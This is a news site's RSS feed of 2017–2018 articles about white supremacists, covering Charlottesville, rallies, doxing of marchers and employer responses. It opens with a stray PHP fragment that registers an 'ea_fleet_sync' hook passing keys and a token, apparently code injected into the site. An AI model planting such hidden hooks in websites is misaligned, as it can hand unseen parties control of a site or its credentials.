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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); supremacists – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 23 Aug 2018 22:51:43 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png supremacists – Brief News https://briefnews.eu 32 32 White supremacists celebrate Trump’s promotion of false claims of white persecution in South Africa https://briefnews.eu/white-supremacists-celebrate-trumps-promotion-of-false-claims-of-white-persecution-in-south-africa/ https://briefnews.eu/white-supremacists-celebrate-trumps-promotion-of-false-claims-of-white-persecution-in-south-africa/#respond Thu, 23 Aug 2018 22:51:43 +0000 http://briefnews.eu/white-supremacists-celebrate-trumps-promotion-of-false-claims-of-white-persecution-in-south-africa/ President Donald TrumpChip Somodevilla/Getty Images

  • President Donald Trump excited white nationalists on Wednesday when he announced that his administration would look into farm seizures and the “large-scale killing” of white farmers in South Africa. 
  • The issue has been promoted by right-wing groups and white supremacists around the world, and Trump took his cue from Fox News host Tucker Carlson, who discussed the issue on his Wednesday night program. 
  • The South African government condemned the president’s comments.

President Donald Trump excited white nationalists on Wednesday when he unexpectedly announced that his administration would look into farm seizures and the “large-scale killing” of white farmers in South Africa — a disputed claim promoted by some right-wing and white supremacist groups in the country.

Trump’s tweet was prompted by Fox News host Tucker Carlson, who aired a segment on his prime-time show on Wednesday condemning South African land redistribution and labeling the country’s black president “a racist.” Carlson, who has been accused of promoting a host of white nationalist talking points, attacked Secretary of State Mike Pompeo for allegedly ignoring an issue Carlson said “should be getting worldwide attention.”

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Heavy police presence is seen in the center of the US capital as crowds of anti-nationalists protesters have gathered to protest Unite the Right Rally one year after Charlottesville clashes.

Some 300 people have gathered in Lafayette Park in Washington DC to oppose a white nationalist rally that is scheduled in the US capital on Sunday afternoon. Many demonstrators were seen carrying signs stating “shut down white supremacy.” “We will be here until these fascist forces are gone, however long that takes,” a protester told AP.

Unite The Right demonstrators have been seen gathering outside the US capital, and will be delivered to the protest site in buses.

The white supremacists rally organizer Jason Kessler earlier said that he expects 100 to 400 people to participate in his event in front of the White House.

The authorities had promised an enormous police presence to keep white supremacists and counter-protesters apart, and to avoid brawls. Buses carrying the Unite the Right protesters are being escorted by double lines of police cars and a line of motorcycle police. The demonstrators were reportedly told they have to surrender flagpoles.

Failure to separate raging crowds in Charlottesville one year ago resulted in clashes.

Meanwhile, more than 100 people have gathered in downtown Charlottesville demonstrating against racism. The rally marked the one-year anniversary of the Unite the Right rally which resulted in heavy clashes between white nationalists and counter-protesters. The group was chanting, addressing police officers who were accompanying them: “Will you protect us?”

The event in Charlottesville was attended by Susan Bro, the mother of Heather Heyer, who was killed when a Unite The Right demonstrator plowed his car into a crowd of counter-protesters. “We have a huge racial problem in our city and in our country. We have got to fix this or we’ll be right back here in no time,” she said.

Charlottesville rejected Unite the Right’s request to stage the repeat rally, so the march has been relocated to Washington DC, where police have promised a heavy presence that will separate the demonstrators from the likely much-larger counter-protester gathering.

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]]> https://briefnews.eu/white-supremacists-and-their-opponents-descend-on-washington-photos-video/feed/ 0 This ex-NSA hacker is hunting white supremacists and hate groups lurking on Twitter https://briefnews.eu/this-ex-nsa-hacker-is-hunting-white-supremacists-and-hate-groups-lurking-on-twitter/ https://briefnews.eu/this-ex-nsa-hacker-is-hunting-white-supremacists-and-hate-groups-lurking-on-twitter/#respond Fri, 05 Jan 2018 00:46:31 +0000 http://briefnews.eu/this-ex-nsa-hacker-is-hunting-white-supremacists-and-hate-groups-lurking-on-twitter/ Emily Crose

  • In 2016, researchers found more than 900 hate groups operating in the US, with over 100 of them having a presence on Twitter.
  • Twitter has declared a ban on them and last month the purge began. But Twitter also got heat for doing it wrong when it banned a satire site.
  • Ex-NSA analyst Emily Crose has been single-handedly trying to make this problem easier to solve by developing an AI system that identifies “dog whistle” images.

Twitter and Facebook say hate speech is a violation of their policies but they also say it can be hard to identify who is engaged in bona fide hate speech and who isn’t.

Twitter demonstrated the problem earlier this week when it came under fire for blocking a German satirical magazine’s Twitter account after it parodied anti-Muslim comments.

Enter Emily Crose, a former NSA analyst, cybersecurity professional and former Reddit moderator.

Crose was appalled by the neo nazi marchers at Charlottesville, Virginia, and the violence that killed three people and injured dozens more. One of the people attacked and injured was Crose’s friend.

So she’s taken it upon herself to develop a technology she calls Nemisis. It uses artificial intelligence to identify white nationalists by scanning the pictures and videos they post. Nemisis is looking for the symbols they use to identify themselves, their so called “dog whistles.” These might include neo-Confederate flags or certain takes on Pepe the frog.

Her goal with NEMESIS is to help educate people but also to show social media sites how they can find white supremacists and “enforce some decency on their own platforms,” she told Motherboard’s Lorenzo Franceschi-Bicchierai.

Crose explained to Business Insider that the idea for the tech didn’t come directly from her work at the NSA. “What I did for Nemesis I had to learn entirely on my own.”

She used TensorFlow to train her app to spot the images, a popular free and open source AI development technology created by Google.

“I’m currently working on porting the beta system to a production system that we can then run on a front end with Twitter,” she tells us.

In other words, she’s just about ready to use her homemade tool to go hunting for white supremacists on Twitter.

“If I can do this as an individual with few resources, @TwitterSafety should be able to do this easily. The question is, why haven’t they?” she said in a tweet.

Last month, Twitter proved that it was getting serious about the problem, although it remains to be seen how well it will be able to root out hate groups and keep them from coming back. Twitter did begin suspending accounts on December 18, dubbed the #twitterpurge.

Perhaps Nemesis will inspire Twitter to do more. Here’s a peek at how it works from a video Crose posted on Twitter.

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]]> https://briefnews.eu/this-ex-nsa-hacker-is-hunting-white-supremacists-and-hate-groups-lurking-on-twitter/feed/ 0 Taylor Swift threatens to sue blogger who connected her to white supremacists https://briefnews.eu/taylor-swift-threatens-to-sue-blogger-who-connected-her-to-white-supremacists/ https://briefnews.eu/taylor-swift-threatens-to-sue-blogger-who-connected-her-to-white-supremacists/#respond Wed, 08 Nov 2017 11:52:01 +0000 http://briefnews.eu/taylor-swift-threatens-to-sue-blogger-who-connected-her-to-white-supremacists/

Enlarge / Taylor Swift performing onstage in Houston, Texas. (credit: Mike Coppola/Getty Images for DIRECTV)

Lawyers representing pop star Taylor Swift sent a cease-and-desist letter to a politics and culture blog, demanding the retraction of an article tying Swift to white supremacist culture. But instead of removing the article, PopFront editor Meghan Herning called the ACLU, which wrote back to Swift’s lawyers defending Herning’s right to free speech.

The back-and-forth was revealed yesterday by the ACLU’s Northern California branch, which published the retraction demand letter (PDF). The ACLU did so despite the demand by Swift’s lawyers that their threats be kept secret because publishing the letter without permission would be “a violation of the Copyright Act.”

“Intimidation tactics like these are unacceptable,” said ACLU attorney Matt Cagle in a statement. “Not in her wildest dreams can Ms. Swift use copyright law to suppress this exposure of a threat to constitutionally protected speech.”

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]]> https://briefnews.eu/taylor-swift-threatens-to-sue-blogger-who-connected-her-to-white-supremacists/feed/ 0 White supremacists who beat people up at rallies are escaping police custody — so media outlets are unmasking them https://briefnews.eu/white-supremacists-who-beat-people-up-at-rallies-are-escaping-police-custody-so-media-outlets-are-unmasking-them/ https://briefnews.eu/white-supremacists-who-beat-people-up-at-rallies-are-escaping-police-custody-so-media-outlets-are-unmasking-them/#respond Sat, 21 Oct 2017 04:26:34 +0000 http://briefnews.eu/white-supremacists-who-beat-people-up-at-rallies-are-escaping-police-custody-so-media-outlets-are-unmasking-them/ CharlottesvilleChip Somodevilla/Getty Images

  • Members of California’s Rise Above Movement got into violent altercations during the protests in Charlottesville and Berkeley.
  • But police aren’t charging them with crimes, an investigation from ProPublica found.
  • So the outlet has identified several white nationalists, revealing who they are to the world.

White nationalists descended on Charlottesville, Virginia and Berkeley, California this year, beating up protesters trying to drown out their hateful messages about people of color, Jews, LGBT individuals, and the media.

Videos and photos show who they are, but a ProPublica investigation found that police aren’t prosecuting them for their violence. So the outlet is unmasking these white supremacists, many of whom belong to the small but growing California-based group known as the Rise Above Movement.

The group of about 50 members has “a singular purpose: physically attacking its ideological foes,” according to ProPublica. A YouTube account under the name posted a recruitment video with shots of members working out, training for violent protests, and displaying neo-Nazi symbols and phrases.

Many of the members that the outlet identified have criminal records. One man, Tyler Laube, was on probation the day he allegedly attacked journalist Frank John Tristan at a “Make America Great Again” rally in Huntington Beach on March 25.

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Tristan said he and his editor contacted the police, but ProPublica found that law enforcement is not pursuing charges against Laube. The same was true for the other individuals they identified, too. Multiple police departments didn’t comment for the article.

Michael German, a former FBI agent who has infiltrated groups like these, told ProPublica that law enforcement officials are “looking at this whole thing so narrowly, as two groups clashing at a protest,” but “it is organized criminal activity.”

Federal investigators have successfully thwarted “dozens” of racially motivated terror attacks, according to ProPublica, but white nationalists have killed at least 22 people in the past five years.

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]]> https://briefnews.eu/white-supremacists-who-beat-people-up-at-rallies-are-escaping-police-custody-so-media-outlets-are-unmasking-them/feed/ 0 The Mormon Church forcefully condemned white supremacy and now white supremacists are mad https://briefnews.eu/the-mormon-church-forcefully-condemned-white-supremacy-and-now-white-supremacists-are-mad/ https://briefnews.eu/the-mormon-church-forcefully-condemned-white-supremacy-and-now-white-supremacists-are-mad/#respond Sun, 20 Aug 2017 09:17:49 +0000 http://briefnews.eu/the-mormon-church-forcefully-condemned-white-supremacy-and-now-white-supremacists-are-mad/ mormon templeRobert Cutts/flickr

This past Sunday, the Mormon church released an official statement expressing “sadness and deep concern” over violence surrounding white supremacist demonstrations in Charlottesville over the weekend.

The statement was firm but vague, condemning racism and intolerance in general terms. Two days later, however, the church updated its statement with what one historian at Brigham Young University called “perhaps the most direct official statement condemning racism and white supremacy in the LDS Church’s history.”

“It has been called to our attention that there are some among the various pro-white and white supremacy communities who assert that the Church is neutral toward or in support of their views,” the updated statement, which was posted to the church’s official newsroom on Tuesday, began. “Nothing could be further from the truth.” After quoting the New Testament and the Book of Mormon, it concluded:

White supremacist attitudes are morally wrong and sinful, and we condemn them. Church members who promote or pursue a “white culture” or white supremacy agenda are not in harmony with the teachings of the Church.

This was rather upsetting, as it turns out, for church members who promote or pursue a “white culture” or white supremacy agenda. One Mormon who has described himself as “simpatico” with the alt-right tweeted a jab at “LDS libs” who complained about the church’s first statement and then turned around to praise the revision as “the literal Word of God,” for example. Others groused about the church “PR department” putting out statements “contrary to the doctrine of Christ’s gospel.”

white supremacist mormon momSlateBut the most significant pushback has come from a Mormon blogger and YouTube personality named Ayla Stewart, a Utah mother of six who has been called the “de facto queen of the alt-right Mormons.”

Stewart has said she was scheduled to speak at the “Unite the Right” rally in Charlottesville, but the violence there prevented her from appearing as planned. Her online output mixes down-home parenting anecdotes with calls to preserve “white culture,” and she has become a prominent white-nationalist voice. A long piece about the women of the alt-right in the latest issue of Harper’sdescribes her evolution from self-described feminist pagan to someone who hopes for the repeal of the 19th amendment. (Seriously.) She now has more than 30,000 Twitter followers.

Stewart actually seemed cheered by her church’s initial statement against racism in general, arguing that it confirmed her belief that “you cannot be anti-white and a follower of Christ.” The LDS’s stronger follow-up on Tuesday, by contrast, infuriated her. (Some observers have implied the church’s addendum may have been a response to her initial approval.) “The Church PR department, nor any member of the church I know of, has ever asked a black, Asian, Arab, etc. member of the church to renounce their culture and not promote it,” she wrote in a lengthy blog post. “So why are whites, and only whites, being singled out?”

The Mormon church infamously prohibited black men from the priesthood—a designation offered to almost all male church members—until 1978. The ban began under Brigham Young, the church’s second president, who tied the prohibition to the supposed “curse” of Cain, the Bible’s first murderer. “Any man having one drop of the seed of Cane [sic] in him cannot hold the priesthood,” Young wrote in 1852. (One “traditionalist, nationalist, Mormon” lamented this weekend that “anti-whites” will soon demand the removal of statues of Brigham Young.) In the years since lifting the ban, the church has taken steps to grapple with its legacy, but the issue still haunts the modern church.

Today, just 3 percent of American Mormons are black, though that number has risen dramatically since the priesthood ban was lifted almost 40 years ago. For many black Mormons, the church’s clear condemnation of white supremacy this week was gratifying. A Mormon blogger named Tamu Smith cried tears of joy while speaking with the Salt Lake City Tribune on Tuesday. Decades ago, she was called the N-word in a Salt Lake City temple, and she has been attacked online recently by white Mormon nationalists. “For the first time, it brings us out of the margins,” she said of the church’s new statement. “We don’t have to stand alone—the church is now standing with us.” It is also standing firmly against Ayla Stewart and her allies.

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]]> https://briefnews.eu/the-mormon-church-forcefully-condemned-white-supremacy-and-now-white-supremacists-are-mad/feed/ 0 Internet turns on white supremacists and neo-Nazis with doxing, phishing https://briefnews.eu/internet-turns-on-white-supremacists-and-neo-nazis-with-doxing-phishing/ https://briefnews.eu/internet-turns-on-white-supremacists-and-neo-nazis-with-doxing-phishing/#respond Wed, 16 Aug 2017 23:29:54 +0000 http://briefnews.eu/internet-turns-on-white-supremacists-and-neo-nazis-with-doxing-phishing/

Enlarge / Neo Nazis, Alt-Right, and White Supremacists encircle counter protestors at the base of a statue of Thomas Jefferson after marching through the University of Virginia campus with torches in Charlottesville, Va., USA on August 11, 2017. Photos of marchers are being used to identify and shame them on social media. (credit: Zach D Roberts/NurPhoto via Getty Images)

In the wake of the violence and repugnance of the “Unite the Right” march in Charlottesville, Virginia last week—and the vehicular murder of a woman by a neo-Nazi connected to the event—the quest to identify and out those who marched with white supremacist and neo-Nazi groups last Friday and Saturday is in full swing.

In short order, people started sharing photos of the event on the Internet to “crowdsource” identifying members of the groups, with fairly rapid results. One marcher from Berkeley, California lost his job at a hot dog restaurant as a result of being identified, as complaints poured in from customers. Another from Fargo, North Dakota was disowned by his family. One person posted to the now-offline Daily Stormer that he would not attend future rallies, because “The thought of getting outed as ‘white supremacists’ to our employers and possibly losing our jobs is a horrifying prospect, ” as Steve Blum reported in Broadly. Many of the identifications have been coordinated through a Twitter account called Yes You’re Racist.

There have been misfires. As the New York Times reported, Kyle Quinn—an assistant professor at the University of Arkansas’ School of Engineering—was mis-identified as a marcher, resulting in a torrent of threatening social media messages.

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]]> https://briefnews.eu/internet-turns-on-white-supremacists-and-neo-nazis-with-doxing-phishing/feed/ 0 Generally, employers can fire white supremacists — but there might be loopholes https://briefnews.eu/generally-employers-can-fire-white-supremacists-but-there-might-be-loopholes/ https://briefnews.eu/generally-employers-can-fire-white-supremacists-but-there-might-be-loopholes/#respond Wed, 16 Aug 2017 10:47:38 +0000 http://briefnews.eu/generally-employers-can-fire-white-supremacists-but-there-might-be-loopholes/ white nationalistJoshua Roberts/Reuters

Social media users have taken to outing protesters who over the weekend participated in a white nationalist rally in Charlottesville, Virginia, that quickly turned violent and raised the national consciousness about the rise of the “alt-right” and racism in the U.S.

In the aftermath of the “Unite the Right” rally and a counter-protest this weekend, at least one of the protesters was fired by his employer, according to reports.

Employment attorneys say the naming of the white nationalist protesters, as well as another recent incident at Google involving a controversial memo on gender and tech, expose difficult legal questions about what kinds of views and speech would be protected and whether workers have standing to sue.

There are several issues to consider, including free speech, protected or concerted speech and a private employer’s right to hire and fire workers under federal labor and civil rights laws.

In the aftermath of the violence in Charlottesville, a California man, Cole White, was identified by Internet users as a participant in the white nationalist rally. His employer, Top Dog, announced he no longer works at the Berkeley restaurant because the management does not support his views.

More firings could follow, as a Twitter page ”Yes You’re Racist” has attempted to name and shame the white nationalists who attended the rally Friday night and Saturday.

This public shaming of those involved in the protest comes shortly after a Google engineer was terminated by the tech giant for a controversial memo that, among other things, decried the company’s diversity efforts and said women were not biologically suited for the technology industry.

Employers trying to decide how to cope with a white supremacist or someone holding other discriminatory views have to consider their jurisdiction and the nature of the employee’s speech and affiliation.

A few local governments maintain protections for employees’ political affiliations, including in Washington, D.C., Puerto Rico, the Virgin Islands and Wisconsin. But political views are not a protected class under federal Title VII civil rights protections, unlike factors such as race, sex or religion.

Government employees do have a right to free speech, but are limited in terms of what they can say in the workplace. Workers at private employers have less leeway under the law to say whatever they please.

“If an employer is watching television news — like what happened [in Charlottesville] — and sees one of his or her employees on either side of the barricades, there is nothing that protects those workers, unless they fall into another protected class,” said Richard Cohen, an employment attorney with FisherBroyles.

But, Cohen said, there may be a loophole for an employee looking to defend their speech, even if it is racist, sexist or discriminatory in another fashion. It could be a stretch to prove, he noted, but such language could be considered defensible under Title VII simply because it has to do with a protected characteristic.

“Whether or not you agree with one or the other or the incident horrified you, it can be argued, at least from a civil rights point of view, it was protected activity,” he said.

Title VIIStringer/ReutersHe said, on the flip side, an employer could act on an employee taking on discriminatory behavior if the views would be harmful to other workers and constitute a violation of Title VII.

He said social media has also broadened this particular debate because employers can now often see the personal views that workers espouse online.

The National Labor Relations Board could also weigh in on this issue and has widened the definition under the Obama administration of what is considered protected activity, said Donald Schroeder, a partner with Foley & Lardner.

He noted a case out of the U.S. Court of Appeals for the Eighth Circuit in which an employee was fired for making racist comments while on a picket line in Cooper Tire & Rubber v NLRB. An NLRB administrative law judge held that Cooper Tire violated the National Labor Relations Act by terminating the employee for his speech and the Eighth Circuit affirmed.

“The view of protected activity expanded under the Obama administration, particularly regarding social media,” Schroeder said. “That is another consideration to take into account when determining what to do with an employee.”

He said, however, that if a company saw an employee in the workplace or outside it acting in a discriminatory way, there is nothing to prevent the manager from taking steps to terminate employment. The employee would have to argue that it’s a protected racial issue.

“It’s one thing to engage in a peaceful march, it’s another to engage in bottle throwing and a violent march with slurs and vulgar language,” he said. “Could they bring a Title VII case? Sure, but I think it would be extremely difficult to move it forward.”

Employers should be cognizant about whether speech by employees is addressing conditions of work or terms of employment and would be considered “concerted activity,” said Alan Model, a shareholder at Littler Mendelson. Yet, he said the speech also should not interfere with any company harassment policies.

He said he has not seen cases in which an employee has argued that their views as a white nationalist should be protected by federal civil rights laws.

“There is a lot of discussion about political issues and divisiveness going on in the country right now,” Model said. “Employers should be mindful and protect their workplace from a harmful environment.”

Matthew Feery, an employment attorney with Much Shelist in Chicago, said it’s important to note that this is not an “either side” issue for most employers, but rather a clear-cut issue on which there is a right side and a wrong side.

“Apart from the legal issues involved, employers should consider the effect of their decision — or non decision — on their workforce and business operations,” Feery said. “Employers understandably may decide that the potential liability from termination may be outweighed by the practical effects of retaining the employee in question, especially with respect to employee morale, workplace harmony, and the employer’s reputation.”

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]]> https://briefnews.eu/generally-employers-can-fire-white-supremacists-but-there-might-be-loopholes/feed/ 0 ‘He missed a critical opportunity’: Walmart CEO slams Trump for failing to ‘unequivocally’ reject white supremacists (WMT) https://briefnews.eu/he-missed-a-critical-opportunity-walmart-ceo-slams-trump-for-failing-to-unequivocally-reject-white-supremacists-wmt/ https://briefnews.eu/he-missed-a-critical-opportunity-walmart-ceo-slams-trump-for-failing-to-unequivocally-reject-white-supremacists-wmt/#respond Wed, 16 Aug 2017 00:51:38 +0000 http://briefnews.eu/he-missed-a-critical-opportunity-walmart-ceo-slams-trump-for-failing-to-unequivocally-reject-white-supremacists-wmt/ Walmart CEO Doug McMillonAP

Walmart CEO Doug McMillon has criticized President Trump for failing to “unequivocally” reject white supremacists in the aftermath of their violent rally in Charlottesville, Virginia.

“As we watched the events and the response from President Trump over the weekend, we too felt that he missed a critical opportunity to help bring our country together by unequivocally rejecting the appalling actions of white supremacists,” McMillon wrote in a statement posted to Walmart’s website Tuesday.

Trump drew widespread criticism Saturday after he condemned the violence in Charlottesville “from many sides,” without specifically denouncing white supremacists or racism. 

On Monday, he delivered more pointed remarks and specifically called out neo-Nazis, racism, and the KKK. 

“Racism is evil —and those who cause violence in its name are criminals and thugs, including KKK, neo-Nazis, white supremacists, and other hate groups are repugnant to everything we hold dear as Americans,” he said.

McMillon said Trump’s remarks on Monday “were a step in the right direction and we need that clarity and consistency in the future.”

McMillon made the statement after the chief executives of Merck, Under Armour, and Intel resigned Monday from a presidential advisory council for manufacturing, in the wake of the fallout from Trump’s remarks on Charlottesville. 

On Tuesday, Scott Paul, president of an organization called the Alliance for American Manufacturing, also resigned from the council. 

McMillon serves on another one of the president’s economic advisory councils, called the Strategic and Policy Forum. 

He said he would continue to serve on the forum. 

“Representing a company with the largest and one of the most diverse groups of associates in the US, and an even more diverse customer base of tens of millions of customers, we believe we should stay engaged to try to influence decisions in a positive way and help bring people together,” McMillon said. “I will continue to strongly advocate on behalf of our associates and customers, and urge our elected officials to do their part to promote a more just, tolerant and diverse society.”

Here’s McMillon’s full statement: 

Respect for the individual is one of our core beliefs at Walmart. And the role we play in communities around the country to build a more diverse and inclusive society is more critical than ever as the tragic events in Charlottesville over the weekend painfully reminded us. Our prayers are with the victims and their families. 

As we watched the events and the response from President Trump over the weekend, we too felt that he missed a critical opportunity to help bring our country together by unequivocally rejecting the appalling actions of white supremacists. His remarks today were a step in the right direction and we need that clarity and consistency in the future.

Our country is facing some very difficult issues that require our elected officials, business leaders and community-based organizations to work together. Representing a company with the largest and one of the most diverse groups of associates in the U.S., and an even more diverse customer base of tens of millions of customers, we believe we should stay engaged to try to influence decisions in a positive way and help bring people together. I will continue to strongly advocate on behalf of our associates and customers, and urge our elected officials to do their part to promote a more just, tolerant and diverse society. 

Thank you for representing Walmart and our values today — and every day.

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]]> https://briefnews.eu/he-missed-a-critical-opportunity-walmart-ceo-slams-trump-for-failing-to-unequivocally-reject-white-supremacists-wmt/feed/ 0 ‘Go home’: Virginia governor lashes out at white supremacists after Charlottesville violence https://briefnews.eu/go-home-virginia-governor-lashes-out-at-white-supremacists-after-charlottesville-violence/ https://briefnews.eu/go-home-virginia-governor-lashes-out-at-white-supremacists-after-charlottesville-violence/#respond Sun, 13 Aug 2017 04:07:44 +0000 http://briefnews.eu/go-home-virginia-governor-lashes-out-at-white-supremacists-after-charlottesville-violence/ Virginia Governor Terry R. McAuliffe blamed “white supremacists and the Nazis” for sowing hatred at Charlottesville rally, calling on them to “go home” after three people died and 35 were injured in clashes, a car ramming incident and a police helicopter crash.

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Speaking at a press conference on Saturday, McAuliffe denounced the violence that erupted at the rally in downtown Charlottesville against the removal of memorial for confederate general Robert E. Lee from a public park.

Noting that the city authorities “planned for a long time” for potential scuffles, he accused “all the white supremacists and the Nazis who came to Charlottesville today” of inciting violence.

“You pretend that you are patriots – but you’re anything but a patriot. You wanna talk about patriots, talk about Thomas Jefferson, George Washington – who brought our country together. Think about the patriots today who are putting their lives in danger – they are patriots – you are not,” he said.
McAuliffe went on to stress that outsiders that had come to Virginia to promote hatred were less than welcome. 

“Our message is plain and simple: Go home. You are not wanted in this great Commonwealth. Shame on you.”

Referring to the US being a global melting pot, “the nation of immigrants” since it its early years, McAuliffe argued that “diversity, the mosaic tile of immigrants is what makes us so special.”

“My message is clear – we are stronger than you. You have made our Commonwealth stronger. You will not succeed, there is no place for you here – there is no place for you in America,” he said.

The governor confirmed that three people lost their lives on Saturday in separate incidents linked to Saturday’s unrest. A 32-year-old woman died during a car ramming attack at the rally and two police officers were killed as a helicopter, which was on a mission to monitor protest action, crashed in the woods near Charlottesville.

At least 35 people were treated for injuries, ranging from minor to life-threatening, as result of the violence that swept through the city center, police said. The majority of the injured victims, 19 people, were provided medical assistance for injuries sustained in the multi-vehicle car crash.
Charles Ortel, a political analyst and writer, told RT that the situation should not be presented as black-and-white, arguing that both sides, the far-right protesters and the anti-fascists, bear some responsibility for the escalation.

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“On the one hand, I think that the organizers of the event certainly were looking to instigate trouble. I think we’re going to find in due course of time that the other side, the [anti-fascist] people, who were so active months ago out at Berkley, denying a forum to a conservative speaker, we’re going to find out that they also are guilty.”

Ortel said that while he agrees with McAuliffe’s call for calm, he opposes the notion that only Virginians are entitled to voice their opinion on Virginian soil.

“He is very wrong about the idea that outsiders from outside Virginia have no right going into Virginia and speak. Outsiders from outside the American South played a great role in going down in the American South in the 1950s and bringing the measure of racial reconciliation and getting rid of the segregation.”

The violence in Charlottesville was condemned by US President Donald Trump, who joined those denouncing hatred and appealing for unity in a televised address and a string of messages on Twitter.

“We ALL must be united & condemn all that hate stands for. There is no place for this kind of violence in America. Let’s come together as one!” Trump wrote.

“We must remember this truth: No matter our color, creed, religion or political party, we are ALL AMERICANS FIRST,” he added.

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The US leader extended condolences to the families and colleagues of the officers killed in the helicopter crash and to the family of a woman who died during the vehicle incident at the rally.
However, Trump then faced criticism for not singling out white nationalists for blame in his address, which focused on hatred and violence “on many sides.”

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